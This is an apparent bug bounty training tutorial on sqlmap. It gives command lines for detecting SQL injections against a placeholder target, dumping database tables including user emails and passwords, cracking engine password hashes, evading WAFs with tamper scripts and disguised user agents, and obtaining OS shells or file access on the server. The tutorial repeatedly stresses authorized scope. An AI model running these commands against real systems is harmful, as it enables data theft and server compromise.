Step-by-step sqlmap tutorial: detect and exploit SQL injections with -u, list databases with --dbs, dump tables with -D/-T/--dump, automate with --batch, tune --level/--risk, evade WAFs with tamper scripts and reach --os-shell. Always within an authorized scope.
Gorka El Bochi
Founder of BBLABS
Quick answer: sqlmap is an open source tool that automates the detection and exploitation of SQL injections. In its simplest form you pass it a URL with
-u, add--dbsto list databases and-D/-T/--dumpto dump data. Only use it on targets where you have explicit permission: an in-scope bug bounty program or your own lab.
sqlmap is the de facto standard for automating SQL injections. It detects the injectable point, identifies the engine (MySQL, PostgreSQL, MSSQL, Oracle, SQLite…), chooses the technique that works (boolean-based, time-based, error-based, UNION or stacked queries) and from there enumerates and exfiltrates the database for you.
It doesn't replace understanding the vulnerability. If you don't know what a SQL injection is or what one looks like by hand, start with the theory in Academy › SQLi and come back here. sqlmap is the tool that saves you the mechanical hours once you already know what you're looking at.
Ethical warning, seriously: running sqlmap against a target without authorization is a crime. Only practice in your own labs or in bug bounty programs with a scope that allows it. On a real target, a massive --dump can bring the database down: always gauge the impact.
The most common case: a suspicious GET parameter. You pass it the full URL with -u:
sqlmap -u "https://target.com/product.php?id=15"
sqlmap will test the id parameter with different payloads and tell you whether it's injectable and with which techniques. If the site uses POST methods, pass the body with --data:
sqlmap -u "https://target.com/login" --data="user=admin&pass=1234"
When the request is complex (session cookies, headers, JSON), the most convenient thing is to capture it with Burp Suite, save it to a file and pass it with -r:
sqlmap -r request.txt -p id
With -p you tell it which parameter to attack. If you don't specify it, sqlmap tests every one it finds (including cookies and headers if you ask it to).
Once the injection is confirmed, you go from general to specific. First, the databases:
sqlmap -u "https://target.com/product.php?id=15" --dbs
Pick one with -D and list its tables:
sqlmap -u "https://target.com/product.php?id=15" -D shop --tables
Pick a table with -T and look at its columns:
sqlmap -u "https://target.com/product.php?id=15" -D shop -T users --columns
And when you know what you want, you dump the data with --dump. You can narrow it to specific columns with -C so you don't download the whole table:
sqlmap -u "https://target.com/product.php?id=15" -D shop -T users -C email,password --dump
Handy shortcuts: --current-db (current database), --current-user (connection user), --is-dba (is it an administrator?), --passwords (tries to extract and crack the engine's user hashes). In a bug bounty report you rarely need to dump everything: it's enough to prove access to a piece of data you shouldn't be able to read.
--batch: automatically answers all prompts with the default option. Essential so you're not hitting enter every two seconds.--level (1–5): raises thoroughness. High levels test more parameters, cookies and headers. Default is 1.--risk (1–3): raises payload aggressiveness. Risk 3 includes payloads that can modify data (for example OR-based), so be careful in production.--technique: forces specific techniques (B boolean, T time-based, E error-based, U union, S stacked). Useful when you already know which one works and want to go straight for it.--threads: parallelizes (up to 10). Speeds up large dumps.--random-agent: rotates the User-Agent so you don't stand out as sqlmap.--proxy: routes traffic through Burp (--proxy=http://127.0.0.1:8080) so you see everything.A balanced combination for initial reconnaissance without being too aggressive:
sqlmap -r request.txt -p id --level=3 --risk=2 --batch --random-agent
If the target has an application firewall that blocks typical payloads, sqlmap includes tamper scripts: transformations that obfuscate the payload (encoding, inline comments, case changes, alternative spaces…). You chain them with --tamper:
sqlmap -r request.txt --tamper=space2comment,between,randomcase --batch
List the available ones with sqlmap --list-tampers. There's no magic combination: it depends on the WAF. If you want to understand why these transformations work (and apply them by hand when sqlmap fails), I develop it in WAF bypass techniques. To fingerprint the WAF first, --identify-waf gives you a hint of the product.
When the engine and permissions allow it, sqlmap can go beyond reading data:
--os-shell: tries to give you an operating system shell (uploading a stager or abusing engine functions). It requires high privileges and usually fails in hardened environments.--sql-shell: an interactive SQL console over the injection, to run your own queries.--file-read / --file-write: read or write server files if the engine allows it (for example LOAD_FILE / INTO OUTFILE in MySQL).These options cross from "reading data" to "executing on the server". In bug bounty, demonstrating --os-shell raises the severity to critical, but ask for confirmation of how far you can go under the program's rules. Executing commands on someone else's infrastructure without explicit permission is crossing the line.
Part of sqlmap's value is that it automatically tests five techniques and picks the one that works. Understanding them helps you read its output and know what's happening under the hood:
SLEEP, WAITFOR DELAY) and measures the time. It's the technique for totally "blind" injections. Very slow but works where nothing else does.UNION SELECT to bring arbitrary columns. It's the one that gives fast dumps.;. It allows executing statements that aren't SELECT (useful for --os-shell), but only works on engines/drivers that allow it.When sqlmap tells you "the back-end DBMS is MySQL" and lists the techniques that work, you already know what to expect: a UNION or error-based injection will go fast; a time-based blind can take minutes to dump a table. Adjust --technique to force the one you want and --threads to speed up.
On a real target, the vulnerable request is almost never a clean URL. You'll need to pass context:
sqlmap -u "https://target.com/api/search" \
--cookie="session=abc123; role=user" \
--headers="Authorization: Bearer TOKEN" \
--data='{"q":"test*"}' \
--level=3 --batch
A key trick: the asterisk (*) manually marks where to inject. Put it right at the suspicious point ("q":"test*") and sqlmap attacks there instead of guessing. This is essential in JSON bodies, custom headers or RESTful paths (/api/user/1*).
sqlmap saves progress in a session: if you cut a dump halfway, next time it resumes where it was instead of re-enumerating. Use --flush-session to start clean if something got corrupted, and -s to point to a specific session file. For second-order injections (where you inject in one place but the effect appears in another), --second-url tells sqlmap where to check the result.
request.txt.sqlmap -r request.txt -p id --batch --level=3 --risk=2.--dbs → -D … --tables → -T … --columns.--dump -C.That last step is the one that pays. A report with the exact request, the technique, the engine and a bounded proof of impact is worth far more than a giant dump with no context.
--risk=3 + --threads=10 + --dump of everything can degrade the service. Gauge it.--batch in automations: the process hangs waiting for input.Is sqlmap legal?
The tool is; its use depends on the target. Running it against a system without authorization is a crime. It's legal in your labs, on practice machines and in bug bounty programs whose scope and rules allow it.
Does sqlmap detect all SQL injections?
No. It's excellent with "standard" injections in identifiable parameters, but it can fail with second-order injections, odd contexts or aggressive filters/WAFs. Many injections are found by hand and then exploited with sqlmap. That's why it's worth understanding the vulnerability first.
Why does sqlmap say a parameter isn't injectable when I think it is?
Raise --level and --risk, mark the point with *, try tamper scripts if there's a WAF, and verify you're passing cookies and headers correctly. Sometimes the problem is that the request you send doesn't reproduce the state in which the injection exists.
Is it dangerous to use --dump on a real target?
It can be. A massive dump of a huge table generates a lot of traffic and load. Narrow it with -C, limit rows with --start/--stop and extract only enough to demonstrate impact.
sqlmap is powerful precisely because it automates something you must first understand by hand. The healthy path is: theory in Academy › SQLi, practice in labs that replicate real reports, and only then take the tool to an in-scope program. When you understand the injection from the inside, sqlmap stops being a black box and becomes what it is: an accelerator. Combine it with the rest of your arsenal following an ordered bug bounty path.
hunters training
labs from real reports
completions
in bounties practiced
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime
Everything you need to build a professional bug bounty setup: from choosing your operating system to automating reconnaissance.
Burp Suite tutorial from scratch: what it is, installing and configuring the proxy (127.0.0.1:8080 + CA certificate), Proxy/Intercept, Repeater, Intruder, Decoder, useful extensions, Community vs Pro and a real hunting workflow.
ffuf tutorial: fuzzing directories, subdomains/vhosts and GET/POST parameters, how to filter noise with -fc/-fs and calibrate with -mc/-ac, SecLists wordlists and when to use gobuster or dirsearch as alternatives.